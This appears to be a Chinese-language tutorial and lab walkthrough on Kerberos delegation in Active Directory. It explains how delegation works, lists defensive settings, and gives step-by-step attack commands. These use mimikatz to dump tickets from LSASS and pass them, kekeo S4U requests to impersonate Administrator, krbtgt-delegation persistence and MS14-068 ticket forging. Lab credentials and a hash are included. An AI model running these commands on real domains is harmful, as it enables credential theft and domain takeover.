kerberos委派詳解
委派
域委派是指,將域內用戶的權限委派給服務賬號,使得服務賬號能以用戶權限開展域內活動。
服務賬號(Service Account),域內用戶的一種類型,服務器運行服務時所用的賬號,將服務運行起來并加入域。例如MSSQL Server在安裝時,
會在域內自動注冊服務賬號'SqlServiceAccount',這類賬號不能用于交互式登錄。

上圖是經典的應用場景。一個域內普通用戶jack通過Kerberos協議認證到前臺WEB服后,前臺運行WEB服務的服務賬號websvc模擬(Impersonate)用戶jack,以Kerberos協議繼續認證到后臺服務器,從而在后臺服務器中獲取jack用戶的訪問權限,即域中跳或者多跳的Kerberos認證。按照圖中紅色字體的數字,具體步驟如下:
1. 域內用戶jack以Kerberos方式認證后訪問Web服務器; 2. Web服務以websvc服務賬號運行,websvc向KDC發起jack用戶的票據申請; 3. KDC檢查websvc用戶的委派屬性,如果被設置,則返回jack用戶的可轉發票據TGT; 4. websvc收到jack用戶TGT后,使用該票據向KDC申請訪問文件服務器的服務票據TGS; 5. KDC檢查websvc的委派屬性,如果被設置,且申請的文件服務在允許的列表清單中,則返回一個jack用戶訪問文件服務的授權票據TGS; 6. websvc收到的jack用戶的授權票據TGS后,可訪問文件服務,完成多跳認證。
在域中,只有 服務賬號 和 主機賬號 才具有委派屬性
主機賬號就是AD活動目錄中 Computers 中的計算機,也可以稱為機器賬號(一個普通域用戶默認最多可以創建十個主機賬號)。服務賬號(Service Account)是域內用戶的一種類型,是服務器運行服務時所用的賬號,將服務運行起來并加入域。例如SQL Server 在安裝時,會在域內自動注冊服務賬號 SQLServiceAccount。也可以將域用戶通過注冊SPN變為服務賬號。
委派的前提
需要被委派的用戶未設置不允許被委派屬性,這里如果打勾則Administrator用戶不能夠被委派

非約束性委派
對于非約束性委派,服務賬號可以獲取被委派用戶的 TGT ,并將 TGT 緩存到 LSASS 進程中,從而服務賬號可使用該 TGT ,模擬用戶訪問任意服務。
當服務賬號或者主機被設置為非約束性委派時,其 userAccountControl 屬性會包含 WORKSTATION_TRUSTED_FOR_DELEGATION


從網絡攻擊的角度看,如果攻擊者控制了服務賬號B,并誘騙管理員來訪問服務A,則可以獲取管理員的TGT,進而模擬管理員訪問任意服務,即獲得管理員權限。越是大型網絡、應用越多的網絡,服務賬號越多,委派的應用越多,越容易獲取域管理員權限。
約束性委派
由于非約束委派的不安全性,微軟在Windows Server 2003中發布了約束性委派。對于約束性委派(Constrained Delegation),即Kerberos的兩個擴展子協議 S4u2self (Service for User to Self) 和 S4u2Proxy (Service for User to Proxy),服務賬號只能獲取用戶的TGS,從而只能模擬用戶訪問特定的服務。

配置了約束委派的賬戶的 userAccountControl 屬性有個FLAG位 TRUSTED_TO_AUTH_FOR_DELEGATION,并且msDS-AllowedToDelegateTo 屬性,還會指定對哪個SPN進行委派。


基于資源的約束性委派
為了使用戶/資源更加獨立,微軟在Windows Server 2012中引入了基于資源的約束性委派。基于資源的約束委派不需要域管理員權限去設置,而把設置屬性的權限賦予給了機器自身。基于資源的約束性委派允許資源配置受信任的帳戶委派給他們。基于資源的約束委派只能在運行WindowsServer2012和Windows Server 2012R2及以上的域控制器上配置,但可以在混合模式林中應用。配置了基于資源的約束委派的賬戶的userAccountControl屬性為 WORKSTATION_TRUST_ACCOUNT,并且msDS-AllowedToActOnBehalfOfOtherIdentity屬性的值為被允許基于資源約束性委派的賬號的SID。

基于資源的約束性委派和約束性委派差別
委派的權限授予給了擁有資源的后端(B),而不再是前端(A)
約束性委派不能跨域進行委派,基于資源的約束性委派可以跨域和林
不再需要域管理員權限設置委派,只需擁有在計算機對象上編輯”msDS-AllowedToActOnBehalfOfOtherIdentity”屬性的權限,也就是將計算機加入域的域用戶 和 機器自身 擁有權限。
傳統的約束委派是“正向的”,通過修改服務A的屬性”msDS-AllowedToDelegateTo”,添加服務B的SPN(Service Principle Name),設置約束委派對象(服務B),服務A便可以模擬用戶向域控制器請求訪問服務B的ST服務票據。
而基于資源的約束委派則是相反的,通過修改服務B屬性”msDS-AllowedToActOnBehalfOfOtherIdentity”,添加服務A的SID,達到讓服務A模擬用戶訪問B資源的目的。
非約束委派和約束委派的流程
非約束委派流程
前提:在機器賬號B上配置了非約束性委派(域管理員才有權限配置)
1.用戶訪問機器B的某個服務,于是向KDC認證。KDC會檢查機器B的機器賬號的屬性,發現是非約束性委派,KDC會將用戶的TGT放在ST服務票據中。
2.用戶訪問機器B時,TGT票據會和ST服務票據一同發送給機器B
3.這樣B在驗證ST服務票據的同時獲取了用戶的TGT,并將TGT存儲在LSASS進程中,從而可以模擬用戶訪問任意服務。
從網絡攻擊的角度來看,如果攻擊者控制了機器B的機器賬號,并且機器B配置了非約束性委派。則攻擊者可以誘騙管理員來訪問機器B,然后攻擊者可以獲取管理員的TGT,從而模擬管理員訪問任意服務,即獲得了管理員權限。
約束性委派流程
前提:在服務A上配置到服務B約束性委派(域管理員才有權限配置)
1.用戶訪問服務A,于是向域控進行kerberos認證,域控返回ST1服務票據給用戶,用戶使用此服務票據訪問服務A
2.若該服務A允許委派給服務B,則A能使用S4U2Proxy協議將用戶發送給自己的可轉發的ST1服務票據以用戶的身份再轉發給域控制器。于是域控返回給服務A一個ST2服務票據。
3.服務A便能使用獲得的ST2服務票據以用戶的身份訪問服務B。
從網絡攻擊的角度來看,如果攻擊者控制了服務A的賬號,并且服務A配置了到域控的CIFS服務的約束性委派。則攻擊者可以利用服務A以administrator身份訪問域控的CIFS服務,即相當于控制了域控。
篩選非委派屬性的賬號
注:域控主機賬戶默認開啟非約束委派
PowerSploit下的PowerView.ps1腳本
Import-Module .\\PowerView.ps1;
查詢域中配置非約束委派的賬戶
Get-NetUser -Unconstrained -Domain Drunkmars.com Get-NetUser -Unconstrained -Domain Drunkmars.com \| select name
查詢域中配置非約束委派的主機:
Get-NetComputer -Unconstrained -Domain Drunkmars.com \| select nam

ADFind
使用參數
AdFind [switches] [-b basedn] [-f filter] [attr list]
參數說明:
-b:指定要查詢的根節點
-f:LDAP過濾條件
attr list:需要顯示的屬性
查找域中配置非約束委派的用戶:
AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cndistinguishedName
查找域中配置非約束委派的主機:
AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cndistinguishedName

ldapsearch
kali自帶,可以在域外使用
查找域中配置非約束委派的用戶
ldapsearch -x -H ldap://192.168.200.143:389 -D "CN=administrator,CN=Users,DC=0day,DC=org" -w admin\!\@\45 -b"DC=0day,DC=org""(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
查找域中配置非約束委派的主機
powershell ldapsearch -x -H ldap://192.168.200.146:389 -D "CN=administrator,CN=Users,DC=0day,DC=org" -w admin\!\@\45 -b"DC=0day,DC=org" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep -iE "distinguishedName"

查詢某用戶是否具有委派性
Import-Module .\\powerview.ps1; Get-DomainUser 域用戶名 -Propertiesuseraccountcontrol,msds-allowedtodelegateto| fl
當該賬號沒委派屬性時,查詢不出任何信息
當服務賬號被設置為 非約束性委派 時,其 userAccountControl 屬性會包含為 TRUSTED_FOR_DELEGATION
當被設置為 約束性委派 時,其 userAccountControl 屬性包含
TRUSTED_TO_AUTH_FOR_DELEGATION
https://msdn.microsoft.com/en-us/library/aa772300%28v=vs.85%29.aspx
且msds-allowedtodelegateto 屬性會被設置為哪些 SPN。
非約束委派攻擊
非約束委派:當user訪問service1時,如果service1的服務賬號開啟了 unconstrained delegation (非約束委派),則當 user 訪問 service1時會將user的 TGT 發送給 service1 并保存在內存中以備下次重用,然后 service1 就可以利用這張 TGT 以user的身份去訪問域內的任何服務(任何服務是指user能訪問的服務)了
操作環境:
- 域:Drunkmars.com
- 域控:windows server 2012R2,主機名:WIN-M836NN6NU8B,IP:192.168.10.5
- 域管賬戶:sqladmin
- 域內主機:windows7,主機名:MESSI-PC,IP:192.168.10.7,用戶:mars2(普通域用戶)
注:在Windows系統中,只有服務賬號和主機賬號的屬性才有委派功能,普通用戶默認是沒有的
查找非約束委派主機帳號
Import-Module .\\powerview.ps1; Get-NetComputer -Unconstrained -Domain Drunkmars.com \| select name

導出票據
先訪問DC,可以看到訪問失敗

用任意域管帳號訪問win7(這里域管帳號登錄在任意一臺機器都可以)

此時,在主機win8的lsass.exe內存中就會有域用戶sqladmin的TGT票據
我們在win8上以管理員權限運行mimikatz,執行以下命令
privilege::debug
導出票據
sekurlsa::tickets /export

注入票據
用 mimikatz 將這個票據導入內存中,然后訪問域控
導入票據
kerberos::ptt [0;33f6ebf]-2-0-60a00000-sqladmin@krbtgt-0DAY.ORG.kirbi
查看票據
kerberos::list

訪問域控

約束性委派攻擊
操作環境:
域:0day.org
域內主機:windows 7 ,主機名:PC-jack-0day,IP:192.168.3.62,用戶:jack
域控:OWA2010SP3
我們設置了機器用戶PC-jack-0day對OWA2010SP3的 cifs 服務的委派
查找約束性委派的主機賬號

請求用戶TGT
已經知道服務用戶明文的條件下,我們可以用kekeo請求該用戶的TGT
tgt::ask /user:PC-JACK-0DAY /domain:0day.org /password:password /ticket:test.kirbi
參數:
/user : 服務用戶的用戶名
/password : 服務用戶的明文密碼
/domain : 所在域名
/ticket : 指定票據名稱,不過這個參數沒有生效,可以忽略
kekeo同樣也支持使用 NTLM Hash
在請求服務用戶的TGT那步直接把 /password 改成 /NTLM 即可
這里我們知道PC-JACK-0DAY的ntlm hash為:768623e06fae601be0c04759c87d93d3
執行如下命令
tgt::ask /user:PC-JACK-0DAY /domain:0day.org /NTLM:768623e06fae601be0c04759c87d93d3 /ticket:test.kirbi

得到TGT_PC-JACK-0DAY@0DAY.ORG_krbtgt~0day.org@0DAY.ORG.kirbi
獲取ST
然后我們可以使用這張TGT通過偽造s4u請求以 administrator 用戶身份請求訪問 OWA2010SP3 CIFS 的ST
tgs::s4u /tgt:TGT_PC-JACK-0DAY@0DAY.ORG_krbtgt\~0day.org@0DAY.ORG.kirbi /user:Administrator@0day.org /service:cifs/OWA2010SP3.0day.org

S4U2Self 獲取到的ST1以及 S4U2Proxy 獲取到的OWA2010SP3 CIFS服務的ST2會保存在當前目錄下
注入ST2
然后我們用mimikatz將ST2導入當前會話即可
kerberos::ptt TGS_Administrator@0day.org@0DAY.ORG_cifs\~OWA2010SP3.0day.org@0DAY.ORG.kirbi

訪問域控

不知道服務用戶密碼的情況
如果我們不知道服務用戶的明文和NTLM Hash,但是我們有了服務用戶登陸的主機權限(需要本地管理員權限),我們可以用 mimikatz 直接從內存中把服務用戶的TGT dump出來
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

注:sekurlsa::tickets 是列出和導出所有會話的 Kerberos 票據, sekurlsa::tickets 和 kerberos::list不同,sekurlsa是從內存讀取,也就是從lsass進程讀取,這也就是為什么sekurlsa::tickets /export 需要管理員權限的原因。并且 sekurlsa::tickets的導出不受密鑰限制,sekurlsa可以訪問其他會話(用戶)的票證。
既然服務用戶的TGT導出來了,我們就跳過 tgt::ask 請求TGT這步,直接 tgs::s4u
tgs::s4u /tgt:[0;3e7]-2-1-40e00000-PC-JACK-0DAY\$@krbtgt-0DAY.ORG.kirbi /user:Administrator@0day.org /service:cifs/OWA2010SP3.0day.org

kerberos::ptt TGS_Administrator@0day.org@0DAY.ORG_cifs\~OWA2010SP3.0day.org@0DAY.ORG.kirbi

抓包分析約束性委派攻擊過程
這里可以看到有6個請求

AS-REQ
可以看到用戶PC-JACK-0DAY用戶向KDC請求一張TGT

AS-REP
返回一張TGT,這張TGT代表的就是PC-JACK-0DAY這個用戶

第一次的TGS-REQ和TGS-REP
用這張 TGT 發送 S4U2self 請求,以 Administrator 的名義向 TGS 申請了一張訪問自身服務的票據,ST1

第二次的TGS-REQ和TGS-REP
得到 ST1 之后,然后會帶上ST1再次向 KDC 發起 SU42Proxy 請求,以 administrator 的名義請求一張訪問 OWA2010SP3 cifs 服務的票據,ST2

利用約束性委派進行權限維持
我們都知道TGT的生成是由 krbtgt 用戶加密和簽名的,如果我們能委派域上的用戶去訪問TGS ,那么就可以偽造任意用戶的TGT了,黃金票據通常情況下我們是用 krbtgt的hash來偽造TGT,不過我們通過約束委派也能達到同樣的效果。
注:TGS 默認的spn是 krbtgt/domain name ,我們操作環境是 krbtgt/QIYOU.COM
krbtgt 默認是禁用的而且無法啟用,所以我們無法使用界面來添加這個SPN。
我們可以使用powershell來添加
Import-Module ActiveDirectory
$user = Get-ADUser test -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/0day.org") }
我們控制的用戶選擇的是自己創建的 test 域用戶。密碼Yicunyiye123
- 域控:OWA2010SP3 192.168.200.146
- 域:0day.org
- 攻擊機:Kali
首先修改 kali 的/etc/hosts/文件,添加如下內容
192.168.200.146 0day.org 192.168.200.146 OWA2010SP3
創建域用戶test然后賦予SPN


然后在域控上配置test用戶到krbtgt用戶的約束性委派
Import-Module ActiveDirectory
$user = Get-ADUser test -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/0day.org") }


可以看到test賬戶具有委派性

然后在kali上攻擊
域委派的防御措施
因為委派比較實用我們也不能說直接簡單粗暴關閉該功能
1.高權限用戶可以設置不能被委派

可以看到administrator是無法成功的,但是sqladmin可以
2.Windows 2012R2及更高的系統建立了受保護的用戶組,組內用戶不允許被委派,這是有效的手段。受保護的用戶組,當這個組內的用戶登錄時(windows2012 R2域服務器,客戶端必須為Windows 8.1或之上),不能使用NTLM認證;適用于Windows Server 2016 , Windows Server 2012 R2 、 Windows Server 2012
3.一般TGT 4小時后失效
4.Kerberos預認證時不使用DES或者RC4等加密算法
PAC
原理分析:https://www.anquanke.com/post/id/192810h2-1
kerberos的流程:
1.用戶向KDC發起AS_REQ,請求憑據是用戶hash加密的時間戳,KDC使用用戶hash進行解密,如果結果正確返回用krbtgthash加密的TGT票據
2.用戶憑借TGT票據向KDC發起針對特定服務的TGS_REQ請求,KDC使用krbtgthash進行解密,如果結果正確,就返回用服務hash 加密的TGS票據
3.用戶拿著TGS票據去請求服務,服務使用自己的hash解密TGS票據。如果解密正確,就允許用戶訪問。
上面這個流程看起來沒錯,卻忽略一個最重要的因素,那就是用戶有沒有權限訪問該服務,在上面的流程里面,只要用戶的hash正確,那么就可以拿到TGT,有了TGT,就可以拿到TGS,有了TGS,就可以訪問服務,任何一個用戶都可以訪問任何服務。也就是說上面的流程解決了”Who am i?”的問題,并沒有解決 “What can I do?”的問題。
在Kerberos最初設計的流程里說明了如何證明客戶端的真實身份,但是并沒有說明客戶端是否有權限訪問該服務,因為在域中不同權限的用戶能夠訪問的資源是不同的。所以微軟為了解決權限這個問題,引入了 PAC (Privilege Attribute Certificate,特權屬性證書) 的概念。
MS14-068
MS14-068編號CVE-2014-6324,補丁為3011780,如果自檢可在域控制器上使用命令檢測。systeminfo |find "3011780" 為 空說明該服務器存在MS14-068漏洞

環境:
域機器:MESSI-PC,win7,知道一個域用戶和密碼:mars2\Drunkmars,Fcb0519..,擁有該機器的管理員權限
域控:WIN-M836NN6NU8B,ip:192.168.10.5
生成票據
MS14-068.exe -u mars2@Drunkmars.com -p Fcb0519.. -s S-1-5-21-652679085-3170934373-4288938398-1107 -d 192.168.10.5

可以看到已經生成了TGT_mars2@Drunkmars.com.ccache
mimikatz導入票據
kerberos::ptc 票據路徑

訪問域控

實操推薦:Kerberos網絡認證協議搭建與分析
實操地址:http://mrw.so/6e3cmI
Kerberos協議最初是麻省理工學院(MIT)為其Athena項目開發的。本實驗主要介紹了windows server2003系統的域和DNS服務器的搭建,通過本實驗的學習學會kerberos網絡認證協議搭建方式。